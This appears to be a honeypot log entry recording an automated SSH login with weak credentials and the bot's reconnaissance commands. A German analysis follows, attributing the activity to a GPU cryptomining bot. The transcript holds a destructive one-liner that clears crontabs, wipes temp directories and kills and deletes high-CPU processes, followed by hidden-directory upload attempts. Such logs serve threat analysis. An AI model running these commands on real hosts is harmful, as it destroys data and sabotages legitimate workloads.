06.10.2026, 03:35 UTC · 16 Befehle · über ssh · Niederlande
user='t4' pass='test' t4@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 t4@srv01:~$ uname -m | awk '{printf $1}' x86_64 t4@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 t4@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) t4@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor t4@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. t4@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 t4@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 t4@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 t4@srv01:~$ uname -n | awk '{printf $1}' render03 t4@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic t4@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… crontab: no crontab for Admin rm: cannot remove '/var/tmp/.': Permission denied rm: cannot remove '/var/tmp/..': Permission denied rm: cannot remove '/tmp/.': Permission denied rm: cannot remove '/tmp/..': Permission denied t4@srv01:~$ echo test > /tmp/d.log t4@srv01:~$ scp -qt "/var/tmp/odyFRNWa" t4@srv01:~$ scp -qt "/tmp/odyFRNWa" t4@srv01:~$ scp -qt "/dev/shm/odyFRNWa"
Ein Angreifer meldete sich mit schwachen Zugangsdaten über SSH an. Er führte eine Reihe von Befehlen zur Systemerkennung aus, um Hardware, CPU und GPU zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU-Auslastung. Abschließend versuchte er, Dateien in verschiedene temporäre Verzeichnisse zu kopieren.
Die Befehle uname und lscpu ermitteln Betriebssystem, Kernel und CPU-Modell. lspci und nvidia-smi prüfen die installierten Grafikkarten und deren Treiberstatus. curl ipinfo.io holt Organisationsdaten zur IP-Adresse des Opfers. Der lange Befehl mit crontab und rm löscht geplante Aufgaben und temporäre Dateien, um Spuren zu verwischen. Der awk-Befehl identifiziert und killt Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent Speicher nutzen, um Konkurrenz auszuschalten. scp -qt versucht, Dateien in versteckte Ordner zu übertragen, was typisch für das Nachladen von Malware ist.
Das Ziel ist sehr wahrscheinlich Kryptomining auf GPUs. Die detaillierte Abfrage der NVIDIA-Grafikkarten deutet auf die Suche nach Rechenleistung für Mining hin. Das Löschen konkurrierender Prozesse dient der Ressourcenfreigabe für den Miner.
Dieses Muster ist extrem verbreitet und gehört zu den Standardangriffen auf ungesicherte SSH-Dienste. Die Kombination aus GPU-Abfrage und Prozess-Kill ist ein klassisches Indiz für automatisierte Mining-Bots.